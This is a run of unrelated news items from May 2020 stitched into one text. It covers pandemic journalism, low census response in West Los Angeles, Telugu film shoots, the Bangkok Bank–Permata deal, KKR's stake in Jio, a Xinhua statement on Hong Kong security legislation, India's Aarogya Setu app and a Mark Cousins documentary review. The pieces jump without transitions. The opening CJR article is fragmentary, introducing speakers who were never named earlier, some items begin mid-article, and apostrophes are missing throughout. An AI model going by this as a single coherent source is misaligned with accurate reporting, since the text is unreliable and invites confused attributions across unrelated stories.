Elizabeth Cheung, a health reporter for the Morning Post, started covering the virus the last day of December, when the government put out a notice about a cluster of unknown pneumonia cases in Wuhan. Eventually, Cheung was reporting twelve hours a day, calling hospital sources and speaking to whomever was available, checking in with public health and government sources about new reported cases. Cheung monitored Facebook groups of Chinese healthcare workers publishing anonymous complaints. At 4:30 each afternoon, Cheung watched the government briefing and opened WhatsApp, to collaborate with health reporters from other outlets to corroborate the case reporting out of each individual province in China. She checked the basic science online, and, for more complicated questions, talked to the first virologist who would pick up the phone.

There are three kinds of people you could ask about a virus, says Racaniello. Theres a virologistwhich is basic sciencean epidemiologista public-health-type personand then a clinician, who takes care of patients. They all have different views of viruses and what they do.

Craig Spencer is in the latter category, an emergency room doctor in New York City. He began following the early reports out of China in January, doing more research of his own in February, as his uneasiness grew. He followed respected epidemiologists and public health professionals closely on Twitter. In March, as patients with symptoms began to enter American emergency rooms, Spencer and his colleagues began to cram journal articles, skim study abstracts, and, as case numbers ticked up, WhatsApp-message like mad with other medical professionals across the country. Tensometimes moremessages a day, about what were seeing, what were experiencing, Spencer says. All of us have had to become experts in something that no one is an expert in.

During a pandemic, knowledge is as critical as medicine. Our approach to the novel coronavirus is informed by our shared understanding, and that shared understanding is informed by our access to a host of experts, with different goals, different backgrounds, different ways of approaching the problemexperts all, but all also limited to their own scope.

If the philosophical study of knowledge has taught us anything in the past half-century, it is that we are irredeemably dependent on each other in almost every domain of knowledge, philosopher C. Thi Nguyen wrote in Aeon magazine in 2018. Modern knowledge depends on trusting long chains of experts. And no single person is in the position to check up on the reliability of every member of that chain. Perhaps the most powerful thing you can do, he told me in an interview, is to be in a position to designate who the experts are.

Its tempting for journalists to see themselves as outside observers. They are not. Reporters gather bits of information and cobble them togethersuperimposing narratives, culling expert voices, using semantic sleight-of-hand to show readers where to look. The press is part of the system.

The things we know and the things we believe about this particular pathogen, driven largely by reporting, can strongly influence its global spread. Can we catch it through asymptomatic carriers? Does it live on grocery shelves? Is it safe to go to the park? Is it wise to order take-out? Journalists draw conclusions; readers make decisions.

Annie Wilkinson, an anthropologist and health systems researcher at the Institute of Development Studies at the University of Sussex, has studied the anthropological elements of the Ebola epidemichow sociology, culture, and human behavior influenced the spread. Epidemics are often medicalized, in a way, but there are all sorts of social disciplinesother forms of knowledgewhich are relevant to understanding whats happening, Wilkinson says. Theres not always an adequate attention to conditions and voices and perspectives on the ground. People are developing their own understanding.

A doctor can tell you whether or not you have COVID-19, based on a test or a best guess. An epidemiologist can tell you how you might create policies that incentivize people to make positive decisions for collective health, based on her previous research. A virologist can tell you what percentage of a sequenced genome demonstrates similarity to a pre-discovered coronavirus.

Journalists arent comfortable with the gaps in the middle. Sometimes there is a temptationif a scientist tells you that something isnt knowableto keep asking until you find someone who will give you an answer, Caitlin Rivers adds. But youve missed something importantwhich is that theres actually no way to know. All of us are going to have to wait and see.

Sometimes, the ambiguity is the answer. What you have to do is bring the public in and say: early in a pandemic, there is enormous uncertainty. What you dont know totally swamps what you do know, Besser says. In the reality of an ever-shifting global crisis, journalists are only able to present a few pieces of a constantly-evolving puzzle. Reporting the pieces as if theyre the whole picture is distortion.

TWO DAYS AFTER PRESIDENT TRUMP announced a suspension of air travel from twenty-six European countries and Tom Hanks made headlines for testing positive for COVID-19, Racaniello sat in the back of a car, on his way to the CNN studios for a broadcast on the virus.

After arriving at the studio, the virologist waited in the wings, just off-stage, with CNNs chief medical correspondent Sanjay Gupta. Racaniello remembers discussing whether or not Trump should be tested. Racaniello, to his memory, thought yes; Gupta wasnt convinced.

Then it was time to go live. The two men stepped in front of the cameras. CNN anchor Erin Burnett asked Racaniello his first questionhe had thirty seconds to answer. The quick-paced environment was jarring for a person accustomed to hour-long podcast conversations; Racaniello was featured on CNN for less than fifteen minutes. (There was no back-and-forth, Racaniello grumbles. I couldnt ask her anything.)

Is it really over in China, or too early to say? Burnett asked, toward the end of their time. Racaniello gave his best answer, then the camera cut away.

ICYMI: Pushed out of Egypt for COVID-19 reporting

This story has been updated to clarify a comment from Vivian Wang.

Has America ever needed a media watchdog more than now? Help us by joining CJR today

Lauren Harris is a freelance journalist. She writes CJR's weekly newsletter for the Journalism Crisis Project. Follow her on Twitter @LHarrisWrites.
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If you look at a map of responses to the 2020 Census in Los Angeles County, two things will probably jump out.

First, you'd see a big concentration of low response rates, color-coded orange, in South Central and Southeast L.A. This was predictable. That region is considered one of the hardest to count in the country. Many residents of these areas don't have internet access -- a particular challenge with the first primarily online census.

If you keep looking at the map, you'll notice another strip of orange low response rates, stretching from Beverly Hills, along the coast, all the way up to Malibu.

This is very unusual. Because according to the California Complete Count office, the region was supposed to be a fairly easy place to count. On an index measuring hardest to count tracts ranging from 0-133 (0 being easiest, 133 hardest), most of those West L.A. tracts got a score around 20, while most tracts in Southeast L.A. are pushing 100.

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Two months into the 2020 Census, some tracts in West L.A. are still only at 25% of households responding -- far behind the county as a whole, currently at 56%.

For comparison, during the 2010 census, 70% of households in those same Westside tracts turned in their forms. While the pandemic has altered this year's timeline, that's about the rate that had been expected for this year.

It raises the question: Why isn't West L.A. responding like usual?

LAist talked to Westside representatives, residents and Census Bureau officials to get to the bottom of this.

Areas deemed "hard to count" by the Census Bureau are marked in dark orange. That Malibu-Beverly Hills stretch is not among them. (California Census Office)

'COME ON WESTSIDE, GET WITH IT'

Supervisor Sheila Kuehl, who represents West L.A., was surprised to see her constituents responding to the census behind the rest of the county.

"I don't want the Westside to be considered a bunch of losers," she said.

Kuehl acknowledged that COVID-19 is a big distraction, and suggested that people might just be too busy to fill out their information.

"I think there's a kind of a Maslowian hierarchy about what is important to you at the moment," Kuehl said. "We're all so focused on all of the extra things we have to do and think about because of this pandemic."

Still, other parts of Los Angeles are responding to the census at higher rates despite the coronavirus hitting their communities as well (and in some cases, harder).

Another possible explanation Kuehl brought up is UCLA's transition to remote learning. Students usually living on and off-campus may not be there anymore.

"That's almost 50,000 students," she said. "Many of them -- because school's out -- let their apartments go and they moved back home. They've done a lot of shifting around."

Plus, those off-campus students might not realize the Census Bureau wants them to fill out a census form corresponding with their school address.

To count students living on-campus, the Census Bureau would usually do a "Group Quarters" count, working with university administrators, and in some cases, conducting in-person interviews. This year that process was delayed, and now the bureau will receive student information directly from the university.

The same issue of missing students could also apply to the Malibu area, where Pepperdine students living on-campus were told to leave their dorms.

But there's still the question of residential census tracts in Bel Air and Western Malibu, where the population skews older than college-aged.

Kuehl admitted she doesn't know what's going on with those constituents, but she has a message for them nonetheless:

"Come on, Westside, get with it -- do your census form!"

WHERE DID ALL THE PEOPLE GO?

The Census Bureau office of Los Angeles is working with community and government organizations to target residents in West L.A. and encourage census participation.

Bureau spokesperson Patricia Ramos said one clue about the low response rates in these areas might have to do with residents who own a second home.

"Possibly a lot of the residents who have responded so far, they might live in the city of Malibu full time, for example, while another fraction of the residents, that might not be the case," Ramos said.

Even if people are living in another home, they still need to be accountable for their local residence. According to Ramos, census takers will eventually stop by that house to collect a response, and to preempt that, respondents should mark whether or not they live in that household full-time on Question 1 of the census form.

CENSUS FORM EXPLAINED: What's on the form and why

Those responses will determine local funding for the next decade, and if West L.A. residents aren't counted, local schools, hospitals and streets could all pay the price. Ramos said imagine, for example, if the city needs to decide which roads to repave.

"They need to know how many people live in a particular area, and how heavy the usage is going to be -- be it a little road in Bel Air, or a main thoroughfare that goes from the Westside all the way to the Valley, an example is Beverly Glen," Ramos said. "They're arteries."

Ramos said, if you live in this area and know your neighbor isn't in town, you should call or email them to get them to do their form. At LAist, we wondered, if a lot of people aren't home, is it possible they left the area to avoid COVID-19, like what happened in New York City?

Robin Greenberg, President of the Bel Air and Beverly Crest Neighborhood Council doesn't believe that theory.

"No, I don't think anybody is traveling. I think everybody is walking on our street -- we see everybody walking all day long," Greenberg said. "They're home. There's nowhere to go."

Greenberg said her husband has completed their household's census form, but besides talking with him about it, she hasn't discussed the census with anyone else. She figured her neighbours would understand the importance of the census and fill it out.

"I just don't know what it would be, honestly. There's nothing I could attribute it to," Greenberg said.
By Express News Service

HYDERABAD: Telugu film industry bigwigs, on Thursday, sought permission from the State government to resume film shoots and other production work. A delegation from the movie industry held a meeting with Cinematography Minister Talasani Srinivas Yadav at actor Chiranjeevis residence and discussed the gradual easing of lockdown restrictions.

Speaking about the prevailing crisis in filmdom, Chiranjeevi said, The lockdown has severely affected the livelihood of daily wage workers and technicians, who often lead a hand-to-mouth existence. We request the (Telangana) government to allow us to resume film shootings and reopen cinema theatres. We assure that social distancing guidelines and other necessary precautions will be observed at the shooting locations. Echoing similar views, director SS Rajamouli added, We will shoot with limited cast and crew and hygiene will be taken care of.

We request the government to draft an action plan on the working conditions. Citing the example of how the Thailand government has allowed film shoots to resume after several protocols, actor Nagarjuna requested the Minister to grant border clearance for actors and technicians to travel to Hyderabad.

Talasani said, The government will consider all the opinions and chart out guidelines on how shooting and other production-related works can be resumed by adhering to social distancing and other norms.
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Linkedin Riska Rahman (The Jakarta Post) Jakarta  Fri, May 22, 2020 19:35 608 fc6853813033f564188675f8bd9b6fd8 1 Business Bank-Permata,PermataBank,Astra-International,Bangkok-Bank,standard-chartered,acquisition,banking-industry Free

Bangkok Bank has acquired an 89.12 percent stake in privately owned Bank Permata from diversified conglomerate PT Astra International and British lender Standard Chartered Bank (SCB).

The Thailand-based bank completed on Wednesday the transaction for Rp 33.66 trillion (US$2.3 billion), equal to 1.63 times Bank Permatas book value, as agreed by the sellers and buyers in March, Bangkok Bank said in a statement.

Following the acquisition, Bangkok Bank will apply to the Financial Services Authority (OJK) for approval to conduct a mandatory tender offer for the remaining 10.88 percent stake in Bank Permata. It will also merge its Indonesian branches with Bank Permatas.

[Bank] Permata will give Bangkok Bank a stronger presence in Southeast Asias two largest economies, reinforcing our position as a leading ASEAN bank, Bangkok Bank president director Chartsiri Sophonpanich said in the statement.

He added that the bank would support Bank Permata to grow its retail, small and medium enterprise (SME) and corporate businesses, while also enhancing its customers access to growth opportunities in Indonesia.

Back in March, both Astra and Standard Chartered agreed to lower Bank Permatas purchase price from 1.77 times the book value to 1.63 times. The decision to lower the purchase price was made in light of the unfavorable economic conditions caused by the COVID-19 pandemic.

Both the sellers [Astra and Standard Chartered] and the buyer [Bangkok Bank] agreed to the incentive to complete the transaction, as well as to provide a sense of certainty to the market during this uncertain time, Astra investor relations head Tira Ardianti told The Jakarta Post on April 22.

Despite the lower price, Koneksi Kapital equity analyst Alfred Nainggolan said on Friday that it was a good time for investors to participate in Bank Permatas tender offer, as its share price was deemed to be at a premium level compared to its peers.

Bank Permatas price-to-book value (PBV) currently stands at around 1.5 times. The figure is well above other big-asset banks like privately owned Bank CIMB Niaga, which has a PBV of 0.4 times, Bank OCBC NISP (0.6 times) and state-owned Bank Mandiri (0.9 times).

Bangkok Bank emerged as the buyer in December 2019 when it signed a conditional sales and purchase agreement (CSPA) with Astra and Standard Chartered to acquire their stakes, 44.56 percent each, in Bank Permata.

The announcement shocked market players as Bangkok Bank was never rumored to want to take over Bank Permata after Standard Chartered announced in February 2019 that its investment in the bank was no longer a priority, signaling its willingness to sell its stake.

[Bank] Permatas team has done a tremendous job and we believe the businesss long-term potential remains strong, but it was no longer core to our strategy in Indonesia, which will now focus on our wholly owned branch business, Standard Chartered Group chief executive Bill Winters said in the statement.

Astra, meanwhile, will continue to focus on growing its retail finance business following its divestment from Bank Permata, as the publicly listed firm remained positive about Indonesias financial service sector, Astra president director Prijono Sugiarto said in the statement.

Although the divestment could affect Astras profit, Alfred of Koneksi Kapital said the impact would be insignificant, as Bank Permata only contributed around 10 percent to its bottom line.

The divestment is good for Astra as the transaction strengthens the companys cash position, he added.

Astra stocks, traded on the Indonesia Stock Exchange (IDX) with the code ASII, climbed 0.51 percent on Friday while Bank Permata (BNLI) stocks jumped 1.19 percent versus a 0.06 percent decline recorded by the main gauge, the Jakarta Composite Index JCI).

We believe Bangkok Bank will provide the best support for us in becoming a stronger player in the Indonesian banking landscape, Bank Permata president director Ridha DM Wirakusumah said. We will continue to grow our business as the bank of choice for all our stakeholders and further strengthen our capabilities in developing our retail, wholesale and sharia businesses.
Reliance Industries on May 22 said KKR will invest Rs 11,367 crore for 2.32% stake in Jio Platforms. This is the fifth big-ticket deal announced by the oil-retail-to-telecom conglomerate in the past month.

This transaction values Jio Platforms at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore. This is KKRs largest investment in Asia and will translate into a 2.32% equity stake in Jio Platforms on a fully diluted basis.

Over the last month, leading technology investors, such as, Facebook, Silver Lake, Vista, General Atlantic and KKR have announced aggregate investments of Rs 78,562 crore into Jio Platforms.

The deals are all part of the plan to make the company net debt-free before March 31, 2021.

Mukesh Ambani, Chairman and Managing Director of Reliance Industries, said, I am delighted to welcome KKR, one of the worlds most respected financial investors, as a valued partner in our onward march to growing and transforming the Indian digital ecosystem for the benefit of all Indians. KKR shares our ambitious goal of building a premier Digital Society in India. KKR has a proven track record of being a valuable partner to industry-leading franchises and has been committed to India for many years. We are looking forward to leveraging KKRs global platform, industry knowledge and operational expertise to further grow Jio.

Also Read: KKR-Jio Platforms deal: 5 key things to know



KKR is making the investment from its Asia private equity and growth technology funds.

The transaction is subject to regulatory and other customary approvals.

Henry Kravis, Co-Founder and Co-CEO of KKR, said, Few companies have the potential to transform a countrys digital ecosystem in the way that Jio Platforms is doing in India, and potentially worldwide. Jio Platforms is a true homegrown next generation technology leader in India that is unmatched in its ability to deliver technology solutions and services to a country that is experiencing a digital revolution. We are investing behind Jio Platforms impressive momentum, world-class innovation and strong leadership team, and we view this landmark investment as a strong indicator of KKRs commitment to supporting leading technology companies in India and Asia Pacific.

Also Read: KKR-Jio Platforms deal: All you need to know about the US-based private equity firm

Morgan Stanley is the financial advisor to Reliance Industries, and AZB & Partners and Davis Polk & Wardwell acted as legal counsel.

Deloitte Touche Tohmatsu India is the financial advisor to KKR. Shardul Amarchand Mangaldas & Co. and Simpson Thacher & Bartlett LLP are legal counsel to KKR.

Read all KKR Jio deal stories here

Reliance Industries Ltd. is the sole beneficiary of Independent Media Trust which controls Network18 Media & Investments Ltd
Anerlisa Muigai took to Instagram to post an emotional tribute to her late sister on her posthumous birthday.

Tecra Wangari, the last-born daughter of Keroche Breweries owners Mr. Joseph Muigai Karanja (Chairman) and Mrs. Tabitha Karanja (Chief Executive Officer) would have turned 30 Thursday, May 21.

Days after she was laid to rest, her sister Anerlisa took to Instagram to pay tribute and celebrate her birthday posthumously.

The NERO Company CEO also shared lovely pictures of Tecra in her element and described her as a powerhouse and a genius.

One photo shows Tecra, who was the Strategy and Innovations Director at Keroche Breweries, smiling happily.

In the caption to the post, Anerlisa wished angel Tecra a happy birthday, adding that God must been happy to have her in heaven.

Happy  30th Birthday Angel Tecra. God Must Be Happy To Have You In Heaven ???. We Miss You So Much  she wrote.

In a subsequent post, Anerlisa wrote: This was so Tecra, she would enter a room, and everyone would be quiet to listen to her. #PowerHouse #Genius. Happy Birthday 

While announcing her untimely death, Tecras family said she was a dynamic, creative and empathetic leader who touched many lives. She was also an iconic, transformational thinker, intellectual and a brilliant philosopher.

Tecra was also lauded for being passionate about her country Kenya and its people, and always advocating for equal opportunities for everyone.
Source: Xinhua| 2020-05-23 00:05:08|Editor: huaxia

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MOGADISHU, May 22 (Xinhua) -- Somali National Army (SNA) on Thursday night killed 5 al-Shabab militants in a fierce clash in Burdhubo town in the southern region of Gedo, an official confirmed on Friday.

Nur Kadiye Ibrahim, SNA commander in Burdhubo told journalists that al-Shabab militants launched an attack on an army base in the town, but the forces repulsed them.

"Our forces are always on alert for any attempt from the militants, so they foiled their attack, we killed five of them during an intense confrontation between the army and the attackers," Kadiye said, adding that the army is now making operations in the town pursuing the remnants of the attackers.

Locals told Xinhua there was a fierce fight on Thursday night between the SNA and the insurgents who have increased attacks in a bid to topple the internationally-backed government.

"We panicked all last night after al-Shabab militants attacked the town targeting a base used by the army, we have no further details as it happened in the night," said Isse Hassan, a resident.

Somali army backed by African Union Mission in Somalia (Amisom) forced al-Shabab militants out of the capital Mogadishu in August 2011, but the militants still hold swaths of rural areas in central and southern regions conducting ambushes and planting landmines. Enditem
Two state senators representing the Lehigh Valley are calling on Gov. Tom Wolf to allow Martin Guitar to reopen.

Sens. Mario Scavello, R-Monroe/Northampton, and Lisa Boscola, D-Lehigh/Northampton, in a joint letter said the Upper Nazareth Township-based guitar manufacturer should be given a business waiver during the COVID-19 pandemic, or else manufacturing should reopen across the state.

Martin Guitars competitors in California, Arizona and Maryland are now open for manufacturing, which is placing Martin Guitar at a serious disadvantage, the senators wrote in the bipartisan plea.

A representative of C.F. Martin & Co. was not immediately available for comment.

The senators said the company has developed a comprehensive reopening plan to ensure the safety of its employees, and that it follows federal and state requirements regarding temperature and health checks, social distancing, mask requirements and hourly hand-washing.

While Im working to open all manufacturing statewide, I make this special request on behalf of a company with a 187-year commitment to Pennsylvania," Scavello said in a news release.

We need to work with Pennsylvania employers to create responsible plans to open in light of Covid-19. This is especially important when other states are opening up more readily and putting Pennsylvania businesses at a competitive disadvantage, Boscola said.

The list of entertainers who have owned and played Martin guitars includes Elvis Presley, Paul McCartney, Eric Clapton, John Mayer and many others.

In March the company began a Jam in Place series, where new artists perform live from their locations almost daily and the performances are streamed on Martin Guitars Facebook page.

Danny Schmidt joins us today at 4 PM EST for the "Jam in Place" series. Posted by Martin Guitar on Friday, May 22, 2020

Please subscribe now and support the local journalism YOU rely on and trust.

Sarah Cassi may be reached at scassi@lehighvalleylive.com.
A California man on Thursday admitted to sending almost two pounds of methamphetamine hidden in a peanut butter jar and a pinata that were bound for the Fort Peck Indian Reservation.

Don Fred Baldwin, 47, of Merced, California, pleaded guilty Thursday in the U.S. District Court of Montana to a distribution of meth charge after mailing the drug in a package last November.

Chief U.S. District Judge Brian Morris accepted the plea and set sentencing for Sept. 17. Baldwin was detained, according to a press release from U.S. Attorney for Montana Kurt Alme.

Baldwin faces a minimum mandatory 10 years to life in prison, a $10 million fine and at least five years of supervised release.

Baldwin mailed a package on Nov. 7, 2019, from California to Brockton, located on the Fort Peck Indian Reservation. Law enforcement officers intercepted the package, obtained a search warrant and found meth hidden inside a jar of peanut butter and a pinata, according to court documents. The amount of meth totaled 776 grams, which is about 1.7 pounds and the equivalent of approximately 6,208 doses.
Source: Xinhua| 2020-05-23 00:40:31|Editor: huaxia

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BEIJING, May 22 (Xinhua) -- The Chinese government is firm in its resolve to safeguard national sovereignty, security and development interests, and firm in its opposition to external interference in Hong Kong's affairs, a Foreign Ministry spokesperson said here Friday.

The spokesperson made the remarks in a press statement on the Hong Kong-related agenda of the National People's Congress (NPC) issued Friday night.

The spokesperson for the Hong Kong and Macao Affairs Office of the State Council and the spokesperson for the Liaison Office of the Central People's Government in the Hong Kong Special Administrative Region (HKSAR) both issued statements on the draft decision to establish and improve a legal framework and enforcement mechanism for safeguarding national security in the HKSAR, which was submitted to the third session of the 13th NPC for deliberation, the Foreign Ministry spokesperson said.

National security is a basic precondition for the existence and development of a nation and it concerns the nation's core interests, said the spokesperson.

"But the reality is, since the amendment bill disturbance in 2019, the 'Hong Kong independence' and radical separatist forces have become increasingly rampant with escalating violent terrorist activities," said the spokesperson.

"Foreign interfering forces and 'Taiwan independence' forces have blatantly ramped up intervention in Hong Kong affairs, which severely undermines Hong Kong's public security, seriously challenges the bottom line of the 'one country, two systems' principle and poses real threats to national security," the spokesperson said.

In accordance with the Constitution and the Basic Law of the HKSAR, the NPC's establishing and improving of a legal framework and enforcement mechanism for safeguarding national security in the HKSAR is an essential measure to uphold national sovereignty, unity and territorial integrity and consolidate the foundation of the "one country, two systems" principle, the spokesperson said.

"It is a sure choice to safeguard long-term peace and stability in Hong Kong and prevent and curb foreign interference in Hong Kong affairs. It is legitimate, legal and imperative," said the spokesperson.

In all countries, unitary and federal alike, only the state legislature has the legislative power on issues concerning national security, said the spokesperson, adding that the Chinese central government bears the primary and ultimate responsibility for safeguarding national security.

"Safeguarding national security is the core of 'one country, two systems' and the foundation for its existence. Only when national security is ensured can Hong Kong enjoy prosperity and stability," the spokesperson said

To establish and improve a legal framework and enforcement mechanism for safeguarding national security in the HKSAR is to prohibit a very small number of people from splitting the country, subverting state power, organizing and carrying out terrorist activities, and foreign and external forces from interfering in the affairs of the HKSAR, said the spokesperson.

"It will protect the vast majority of law-abiding Hong Kong citizens, guarantee the legitimate rights and interests of Hong Kong residents and foreign institutions and personnel in Hong Kong, and safeguard the fundamental interests of the state and HKSAR," said the spokesperson, adding that it "also serves the common interests of the international community."

"One country, two systems" is China's basic state policy, and the Chinese government is firmly committed to its implementation, said the spokesperson.

Noting that Hong Kong is a special administrative region of China and a local administrative region directly under the Central People's Government, the spokesperson said the legislation for the HKSAR to safeguard national security "is purely China's internal affair, and no foreign country has the right to interfere." Enditem
David Gaunt at Sydney's Gleebooks said his experience had reinforced his view at the start of restrictions that online sales were not alone sufficient to support the shops. "I can't overstate the amount of time and energy we put into home deliveries." He reckoned that 25 per cent of his staff had not worked for self-isolation reasons, and that JobKeeper had been the game breaker, along with the ability to delay GST payments and having sympathetic landlords. But he lamented that it would be a long time before Gleebooks' events program would be restored. "There is no way you can monetise online events. They were mainly a service, but hopefully the books of authors featured will sell."

My Bookshop owner Corrie Perkin said her Hawksburn shop had relied on volunteer labour from friends and family and now faced the problem of working out how to make the business more sustainable into an uncertain future. She said when she began her business 11 years ago she had been up against Borders and Amazon. Well, Borders has gone and Amazon has been snookered by delays in Australia Post's deliveries. Perkin has been doing free deliveries within a 10-kilometre radius but also delivering as far as the Mornington and Bellarine peninsulas. As she puts it, "It's all about customer service and being proactive".

At Readings, the Australian Book Industry's bookseller of the year, Mark Rubbo said in the period when his seven shops were shut to customers, online sales had jumped by 700 per cent; "It was like a tsunami hit us; I shouldn't complain". He said the online business  "very labour intensive"  was likely to remain an important part of the mix into the future. "It has dropped off since we reopened last week, but it's still much stronger than it was." Nevertheless, he said Readings was trading at 30 to 50 per cent below what it would normally.

Ray Bonner's Bookoccino in Avalon Beach managed to stay open for the duration thanks to the cafe element of his business. "I did go through a moral debate as to whether we should shut, but plenty of people said they were so glad we stayed open. We put books out on the street." Julia Baird's Phosphorescence, he said, had proved the shop's biggest selling title ever, "even more than Trent Dalton". He never really got his online operation working, but did a lot of home deliveries and took lots of orders by phone: "It allowed us to maintain a personal relationship with customers. One of my staff said if we don't do that we might as well be Amazon." He said the shop must have done something right as it didn't qualify for JobKeeper; he put it down to the loyalty of his customers.

Golden days

Gold can be a problem, particularly during pandemic restrictions. Just ask Sue Martin, who has been running around trying to get a gold medal. Not any old gold medal, mind you. This one is for the winner of the oldest literary award in Australia, the Australian Literary Society's Gold Medal, first presented in 1928 to Martin Boyd for The Montforts.

Since 1982 the ALS has been incorporated into the Association for the Study of Australian Literature and Martin is the co-chair of this year's judges. For many years the medal was cast by Melbourne jeweller Dunklings, but since its closure Angus & Coote has managed to find someone to cast it. But as it's always been done on a one-off basis, Martin said she was "slightly worried about the line of supply".
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On 21 May, the Airports Authority of India (AAI) made Aarogya Setu app a requirement if one wants to travel by air.

Despite the governments contact tracing smartphone app Aarogya Setu not being mandatory, on 21 May, the Airports Authority of India (AAI) made it a requirement if one wants to travel by air. A notice tiled Standard Operating Procedure (SOP) for Recommencement of Domestic Flights published by the AAI states in point #5, All the departing Passengers must compulsorily be registered with Aarogya Setu App on their mobiles and the same shall be verified by CISF/Airport staff at the entry gate. However, Aarogya Setu is not mandatory for children below age of 14 years.

On 17 May, a small, but significant change was made among the various guidelines for Lockdown 4.0, which made the use of Aarogya Setu advisable instead of mandatory. In previous guidelines, the government proposed to make it mandatory for people living within the containment zones, and for private sector employees on pain of criminal penalties. The government now stipulates that the use of the app must be on a best effort basis. Employers are encouraged to have their workers install the app, though this is advised and has no criminal penalties attached to non-compliance.

When we spoke to Vrinda Bhandari, one of the counsels that assisted the Kerala petition, she explained while this is a small victory, it does not resolve the situation. If the app is advisable and private organisations mandate it for employees, it would then be advisable for the government to intervene against this mandatory nature.

Nevertheless, the mandatory-by-default nature of the app continues unabated. On 17 April, News18 reported that the Jharkhand high court granted bail to six persons upon conditions of donating Rs 35,000 each to the PM-CARES fund and downloading the Aarogya Setu app.

And as of today, it is impossible to take a flight without using the app.

This also raises questions about exclusion. Will those using feature phones  that cannot install the Aarogya Setu app  be barred from flying?

Ever since its introduction in April, Aarogya Setu has been in the eye of a storm for its privacy implications. In its original version, the app laid out a very basic privacy policy, no details about the limitations of usage of data collected, and the disclaimer that it could be shared with other parties. You can read a deep-dive into the app here.

The timeline

The Internet Freedom Foundation has been at the forefront of organising a response to Aarogya Setu and its mandatory usage. On 2 May, they published an update announcing that they had sent a joint representation along with 45 organisations and more than 100 prominent individuals to the Prime Ministers Office, against mandating the use of the app. The reasons articulated included infringement of users data privacy, exclusion of those without smartphones, among others. This was a significant representation, as there were criminal liabilities for not using the app. The foundation also wrote to the Standing Committee for IT on 8 May in this regard.

There have also been legal challenges to the mandatory requirement of Aarogya Setu. On 11 May, one Jackson Mathew, Managing Partner of Leetha Industries, filed a writ petition against the mandatory use of the app. Mathew was assisted by IFF-retained counsel. After the petition was filed, the Ministry of Electronics and Information Technology (MeitY) released a data access and knowledge sharing protocol for Aarogya Setu.

Subsequently, the IFF posted an analysis of this protocol on May 13, highlighting its shortcomings in terms of legality, necessity, and proportionality.
Shenandoah National Park, which has been closed since early April, will reopen Skyline Drive and hundreds of miles of trails starting May 23. The Virginia destination is known for its 105-mile scenic highway, which resembles a meandering country lane and offers numerous brushes with nature at its 75 overlooks. The park also boasts more than 500 miles of trails that lead to such surprises and delights as waterfalls, wildflower blooms and a swimming hole. This reopening is the first of several phases. Heres what you need to know to plan your visit.
Telecom companies Reliance Jio and Bharti Airtel may have appetite to buy 4G spectrum in the proposed auction of radio waves to address demand in data consumption, industry body COAI said on Friday.

The government is planning to hold the next round of spectrum auction by October this year in which it would sell around 8,000 megahertz of radio waves across several bands at a cumulative value of around Rs 3.8 lakh crore that can be used for 4G services.

"I think Reliance Jio and Bharti Airtel have indicated they will be interested in acquiring 4G spectrum because of the rise in demand and traffic pattern has changed. Industry is ready for augmenting 4G spectrum," COAI Director General Rajan S Mathews told PTI.

The telecom sectorbody hadearlier voiced against thespectrum auction due to financial stress in the sector.

The government has relaxed payment terms for auctions that were held earlier as well as for the upcoming round.

Earlier the companies were required to pay for the spectrum purchased in auction in eight annual instalments which has now been changed to 16 annual instalments.

The DoT has selected public sector firm MSTC Ltd as auctioneer for conducting the next round of spectrum sale.

The public sector enterprise executed coal auctions in early 2015 that were held after the Supreme Court cancelled allocation of coal mines in September 2014. It is also holding auctions for various central and state government departments.

This is for the first time MSTC has been selected for handling spectrum auction.

The government plans to auction radiowaves in 700Mhz, 800Mhz, 900 Mhz, 1800 Mhz, 2100 Mhz, 2300 Mhz and 2500 Mhz bands.

"There is some amount of spectrum that will come up for renewal but the demand is largely for augmenting the existing capacities. Vodafone Idea have merged so we don't have an exact idea of their need," Mathews said.

The DoT is learnt to have droppedplans to auction spectrum in the frequency range of 3,300 -3,600 Mhz band that was proposed to be used for 5G services. PTI PRS



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Prasoon Srivastava Chief CorrespondentThe Press Trust of India 4- Parliament Street,New Delhi-110001 M:91-9810732264 Off-011-41394417http://ptinews.com/images/pti.jpgWe bring the World to you"Disclaimer : This e-mail message may contain proprietary, confidential or legally privileged information for the sole use of the person or entity to whom this message was originally addressed. Please delete this e-mail, if it is not meant for you.

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When Mark Cousins first appeared on BBC arts shows in the early 1990s, his semi-singalong monotone Ulster accent was easy to lampoon. As a young critic, he tended towards iconoclasm, but I'll tell you something: Cousins' love of cinema is 100pc genuine, his knowledge encyclopaedic, and as a film documentarian, he's illuminated fascinating forgotten corners, as well as exploring sacred cows anew.

His The Story Of Film: An Odyssey (2011) was challenging, engrossing, and in his 2018 documentary The Eyes Of Orson Welles, he found new and challenging things to say about possibly the most intensely analysed film-maker of them all. Cousins does nothing by halves, and in this epic new 14-hour documentary, he endeavours to right a century of industry prejudice and neglect.

Split into relatively manageable three-hour parts that will be released over the coming weeks, Women Make Film is a gargantuan effort of scholarship which sees Cousins weave hundreds of films from across cinema's history into a pleasantly meandering, but more or less coherent argument.

Instead of raging head on into the teeth of cinema's glaring and endemic misogyny, Women Make Film demonstrates the inherent absurdity of a male-dominated industry by showing us dozens, hundreds of female-directed movies that ought to be revered and remembered, but aren't.

His approach is not chronological, but thematic: beginning with the ways in which movies can begin, he carries on to discuss tone, plot, style and genre, using tantalising clips of films new and old from across the world to illustrate his argument. Along the way, he champions films I felt I really should have heard about, like Wendy Toye's On The Twelfth Day, a delightfully flush and beautifully designed 1955 short comedy about an Edwardian family besieged by unwanted gifts. It's so quintessentially British that it should be a staple of that country's Yuletide TV: if it had been made by a man, it might have been.

From the silent era, Cousins plucks the skilful and prolific Lois Weber, the actor, writer, director and producer who made 138 features and was once considered a pioneer on a par with D.W. Griffith, but died poor and more or less forgotten. He celebrates the achievements of Dorothy Arzner, whose influential films included Too Much Johnson and Anybody's Woman, and who, for several decades, was the only female director working in Hollywood.

He mentions several times the work of Wanda Jakubowska, the Polish director and resistance fighter who was interned at Auschwitz and returned to the death camp just a year after the war's end to film The Last Stage, a harrowing drama based on her own experiences.

We know all about the achievements of male Japanese heavyweights like Akira Kurosawa and Yazujiro Ozu, but Cousins rightly pinpoints the excellence of Kinuyo Tanaka's haunting 1953 drama Love Letters, in which a lonely man finds redemption writing love letters for other people. In that film, the wounds of a traumatised and rapidly reorganising country were laid bare, but female directors were and remain exceedingly rare in Japan.

